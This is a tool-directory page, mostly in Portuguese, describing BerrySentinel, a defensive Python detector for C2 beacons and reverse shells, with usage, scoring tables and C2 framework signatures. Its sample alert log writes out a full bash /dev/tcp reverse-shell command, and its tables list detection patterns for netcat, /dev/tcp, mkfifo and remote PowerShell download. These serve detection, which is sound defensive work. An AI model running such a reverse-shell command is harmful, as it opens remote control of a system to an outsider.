Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
BerrySentinel — Berry Sentinel v5.0 — Detector avançado de C2 comportamental e reverse shell para sistemas Linux/Windows/Unix. Inclui análise de conexões em tempo real, pontuação heurística, detecção de assinaturas de frameworks C2, análise de intervalo de beacon e uma TUI interativa baseada em curses com mecanismo de encerramento de processos. | Kitploit
Ferramentas/GitHubGitHub/dereeqw/berrysentinel
Ferramentas DefensivasSegurança de RedeAnálise de MalwareTestes de PenetraçãoComando e ControleInteligência de AmeaçasDetecção de IntrusãoRed TeamingResposta a IncidentesDetecção de AnomaliasAnálise de Logs
13há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
GitHub
dereeqw/berrysentinel

BerrySentinel

Ver Repositório

Sobre

Berry Sentinel v5.0 — Detector avançado de C2 comportamental e reverse shell para sistemas Linux/Windows/Unix. Inclui análise de conexões em tempo real, pontuação heurística, detecção de assinaturas de frameworks C2, análise de intervalo de beacon e uma TUI interativa baseada em curses com mecanismo de encerramento de processos.

Compartilhar

🫐 Berry Sentinel

Detector comportamental de conexões C2 (Command & Control) em tempo real

Zero-signature · Bulletproof Collection · Deep Scan · Kill Engine

Python 3.8+ Platform License: MIT


O que é?

Berry Sentinel monitora todas as conexões de rede ativas no seu sistema e analisa o comportamento dos processos que as geram para detectar atividade maliciosa — sem usar bancos de dados de assinaturas de antivírus nem listas de IPs bloqueados.

Detecta reverse shells, webshells, RATs, beacons C2 e frameworks como Meterpreter, Cobalt Strike, Sliver ou Empire observando como se comporta um processo: se um interpretador Python tem seu stdin conectado a um socket remoto, isso é suspeito mesmo que o IP seja desconhecido.

root@kitploit:~
╔══════════════════════════════════════════════════════════════════════════════════╗
║  BERRY SENTINEL v5.0 — Detector Conductual C2 · TUI Interactivo                                 ║
║  Conexiones: 38 │ Amenazas: 2 │ Firmas: 1 │ via proc/open+ss │ 12ms │ #47                       ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID  SEV      PTS   PID    PROC    REMOTO                ESTADO  FIRMAS/TAGS                     ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║  3  █CRÍTICO  85   1337   bash    1.2.3.4:4444   ESTAB  ⚑Meterpreter SHELL→NET.                ║
║  7  ▲ALTO     52   2048   python3 5.6.7.8:8443   ESTAB  TLS-NOBR BCN(60s)                      ║
╚══════════════════════════════════════════════════════════════════════════════════╝

Funcionalidades

  • TUI interativo com curses: navegação ↑↓, detalhe de conexão, kill engine integrado
  • Análise comportamental pura: sem assinaturas de AV, sem listas negras de IPs
  • Detecção de beacon: identifica conexões C2 por seus intervalos regulares (Cobalt Strike ~60s, Empire ~5s, etc.)
  • 14+ frameworks C2 reconhecidos: Meterpreter, Cobalt Strike, Sliver, Empire, Havoc, Brute Ratel, Pupy, Merlin, Covenant, Mythic...
  • Deep scan (com root): analisa memória do processo, regiões RWX, variáveis de ambiente, executáveis apagados do disco
  • Bulletproof collection: usa 5 métodos de coleta em paralelo (/proc/net, ss, netstat, psutil, lsof) com deduplicação automática
  • Cross-platform: Linux, macOS, Windows, Android/Termux
  • Exportação JSON e log: alertas em formato JSONL compatível com jq, ELK, Splunk
  • Whitelist: ignorar IPs ou redes de confiança por CIDR
  • Zero dependências no modo básico (apenas stdlib); psutil opcional para cobertura extra

Instalação

root@kitploit:~
# Clonar el repositorio
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel 

# (Opcional pero recomendado) instalar psutil
pip install psutil

# Ejecutar
python3 BerrySentinel.py

Android / Termux

root@kitploit:~
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui  # curses puede no estar disponible en Termux

Sem instalação (one-liner)

root@kitploit:~
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py

Uso

root@kitploit:~
python3 BerrySentinel.py [opções]

Opções:
  --all, -a           Incluir conexões locais/loopback (além de remotas)
  --interval N, -i N  Atualizar a cada N segundos (padrão: 2, mín: 0.5)
  --log FILE, -l FILE Salvar alertas em arquivo (formato JSONL)
  --json, -j          Exportar JSON completo ao sair
  --whitelist LISTA   IPs ou CIDRs a ignorar, separados por vírgula
  --no-color          Sem cores ANSI (útil para pipes ou logs)
  --verbose, -v       Mostrar todas as conexões, não apenas as suspeitas
  --top N, -t N       Máximo de linhas na tabela (padrão: 50)
  --diag, -d          Diagnóstico: mostra quais métodos de coleta funcionam
  --no-tui            Modo legado sem curses (scroll clássico, mais portável)
  --version, -V       Mostrar versão e sair

Exemplos

root@kitploit:~
# TUI interactivo — modo recomendado
python3 BerrySentinel.py

# Deep scan con root (accede a memoria de procesos)
sudo python3 BerrySentinel.py --all

# Guardar alertas y exportar JSON al terminar
python3 BerrySentinel.py --log /var/log/sentinel.log --json

# Ignorar red interna y refrescar cada 5 segundos
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5

# Modo texto para usar en scripts o por SSH sin terminal interactiva
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt

# Ver qué métodos de colección funcionan en el sistema actual
python3 BerrySentinel.py --diag --no-tui

# Solo alertas graves, actualización cada 10 segundos, guardar log
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json

Teclas do TUI interativo


Sistema de pontuação

Cada conexão recebe um score de 0 a 100 conforme os indicadores detectados:

Severidade conforme score:


Frameworks C2 detectados

Berry Sentinel inclui assinaturas para os seguintes frameworks (avaliação por portas, nome de processo, linha de comando e padrões de beacon):


Formato de log (JSONL)

Cada alerta é registrada como uma linha JSON independente:

root@kitploit:~
{
  "ts": "2025-07-15T14:23:01.123456",
  "id": 42,
  "sev": "CRÍTICO",
  "score": 85.0,
  "pid": 1337,
  "name": "bash",
  "cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
  "remote": "1.2.3.4:4444",
  "local": "192.168.1.10:52341",
  "state": "ESTABLISHED",
  "tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
  "sigs": ["Meterpreter"],
  "src": "proc/open(self)+ss+netstat"
}

Processar com jq:

root@kitploit:~
# Filtrar solo conexiones críticas
jq 'select(.sev == "CRÍTICO")' sentinel.log

# Ver todos los PIDs sospechosos
jq '[.pid] | unique' sentinel_export.json

# Buscar por firma específica
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log

Arquitetura

root@kitploit:~
BerrySentinel.py
├── Constantes globais
│   ├── SHELL_BINS, SCRIPT_ENGINES  — Nomes de shells e interpretadores
│   ├── C2_SUSPECT_PORTS            — Portas típicas de C2
│   ├── PRIVATE_NETS                — Faixas IP privadas
│   └── C2_SIGNATURES               — Assinaturas de frameworks conhecidos
│
├── Modelos de dados
│   ├── C2Signature   — Definição de assinatura C2
│   ├── ProcInfo      — Informação de processo do SO
│   ├── Conn          — Conexão de rede + resultado da análise
│   └── BeaconTracker — Detector de beacons C2
│
├── Coleta de dados
│   ├── Collector     — Orquestra múltiplas fontes de rede
│   ├── parse_proc_net_content() — Parser /proc/net/*
│   ├── build_inode_pid_map()    — Mapa inode→PID
│   ├── get_proc_info()          — Informação do processo via /proc
│   └── get_proc_info_psutil()   — Informação do processo via psutil
│
├── Análise
│   ├── Engine.analyze()    — Score + tags comportamentais
│   ├── Engine._beacon()    — Detecção de beacons
│   └── match_signatures()  — Matching de assinaturas C2
│
├── Output
│   ├── CursesTUI   — TUI interativo (modo padrão)
│   ├── LegacyTUI   — Output ANSI sem curses (fallback)
│   └── Logger      — Log JSONL em disco
│
└── Sentinel        — Orquestrador principal

Requisitos

  • Python 3.8+
  • psutil — opcional mas muito recomendado (pip install psutil)

Sem dependências adicionais a ferramenta funciona com a stdlib do Python. psutil adiciona cobertura no macOS e Windows onde /proc não existe.


Plataformas


Personalização

Adicionar assinatura C2 própria

root@kitploit:~
from BerrySentinel import C2Signature, C2_SIGNATURES

mi_rat = C2Signature(
    name="MiRAT",
    description="RAT interno corporativo no autorizado",
    score_bonus=70,
    checks=[
        {"type": "port", "value": 6543},
        {"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},
        {"type": "procname", "value": r"^mi_rat$"},
    ],
)
C2_SIGNATURES.append(mi_rat)

Usar como biblioteca em um script

root@kitploit:~
import argparse
from BerrySentinel import Sentinel, Sev

args = argparse.Namespace(
    all=True, interval=10, log=None, json=False,
    whitelist="192.168.0.0/16", no_color=True,
    verbose=False, top=100, diag=False, no_tui=True
)

s = Sentinel(args)
s._cycle_data()

for conn in s.last_conns:
    if conn.severity >= Sev.HIGH:
        proc = conn.proc
        print(f"[ALERTA] PID {conn.pid} ({proc.name if proc else '?'}) "
              f"→ {conn.remote_addr}:{conn.remote_port} "
              f"score={conn.score:.0f} tags={conn.tags}")

Motor de análise personalizado

root@kitploit:~
from BerrySentinel import Engine, Conn, Sev

class MiEngine(Engine):
    KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}

    def analyze(self, c: Conn) -> Conn:
        c = super().analyze(c)
        # Añadir lógica propia
        if c.remote_addr in self.KNOWN_C2_IPS:
            c.score = min(c.score + 40, 100)
            c.tags.append("KNOWN-IOC-IP")
            c.severity = Sev.CRITICAL
        return c

Advertência de uso responsável

Berry Sentinel foi projetado para monitorar seu próprio sistema ou sistemas sobre os quais você tem autorização explícita. O Kill Engine só atua quando o usuário o solicita explicitamente. Use-o de forma responsável e de acordo com as leis aplicáveis em sua jurisdição.


Licença

MIT — veja LICENSE

Baixar ferramenta
TeclaAção
↑ / ↓Navegar entre conexões
d / DVer painel de detalhes da conexão selecionada
k / KMatar processo (solicita confirmação do PID)
f / FAlternar filtro de severidade: ALL → MÉDIO → ALTO → CRÍTICO
rForçar atualização imediata
ESCFechar painel de detalhes ou cancelar operação
qSair
IndicadorPontosTag
stdin/stdout → socket+55FD→SOCK
Shell binário com conexão remota+40SHELL→NET
Webshell (shell como filho do Apache/Nginx)+35WEBSHELL
Bind shell em porta alta+35BIND-SHELL
Uso de netcat/socat+35NETCAT
Redirecionamento /dev/tcp ou mkfifo+40PIPE-REDIR
Executável apagado do disco+25EXE-DEL!
Executável em /tmp ou /dev/shm+15EXE-TMP
Beacon detectado (conexão cíclica)+25×confBCN(60s)
Assinatura Meterpreter+55SIG:Meterpreter
Assinatura Cobalt Strike+60SIG:CobaltStrike
Assinatura Sliver+58SIG:Sliver
Regiões de memória RWX+20RWX(N)
LD_PRELOAD ou HISTFILE=/dev/null+10ENV:LD_PRELOAD
Interpretador de scripts conectado+25INTERP→NET
eval/exec na linha de comando+18EVAL
PowerShell remoto (IEX, DownloadString)+30PS-REM
ScoreSeveridadeColor
≥ 65CRÍTICO🔴 Rojo brillante
≥ 45ALTO🟠 Naranja
≥ 25MÉDIO🟡 Amarelo
≥ 8BAIXO🔵 Ciano
< 8INFO⚪ Cinza
FrameworkBônus de scoreIndicadores chave
Meterpreter+55Porta 4444, processo ruby/msfconsole
Cobalt Strike+60Porta 50050, beacon ~60s, processo java
Sliver+58Porta 31337/8888, beacon ~60s
Empire+55Porta 1234/7777, PowerShell -enc
Brute Ratel+62Porta 2083, processo badger
Havoc+58Porta 40056, demon.x64/x86
Pupy RAT+52Porta 9999, pupy.py
Merlin+54Porta 8443, merlin-agent
Covenant+54Porta 7443, GruntHTTP
PoshC2+52FComServer, ImplantCore
Mythic+56Porta 7443, poseidon/apfell
QuasarRAT+50Porta 4782-4785
NetcatShell+45socat exec bash, pty
DNS-C2+40Porta 53, dnscat/iodine
SistemaSuporteNotas
Linux✅ CompletoCom root ativa deep scan
Android/Termux✅ CompletoUse --no-tui se curses falhar
macOS⚠️ ParcialSem /proc; usa netstat+psutil
Windows⚠️ Parcialnetstat+psutil, sem análise de memória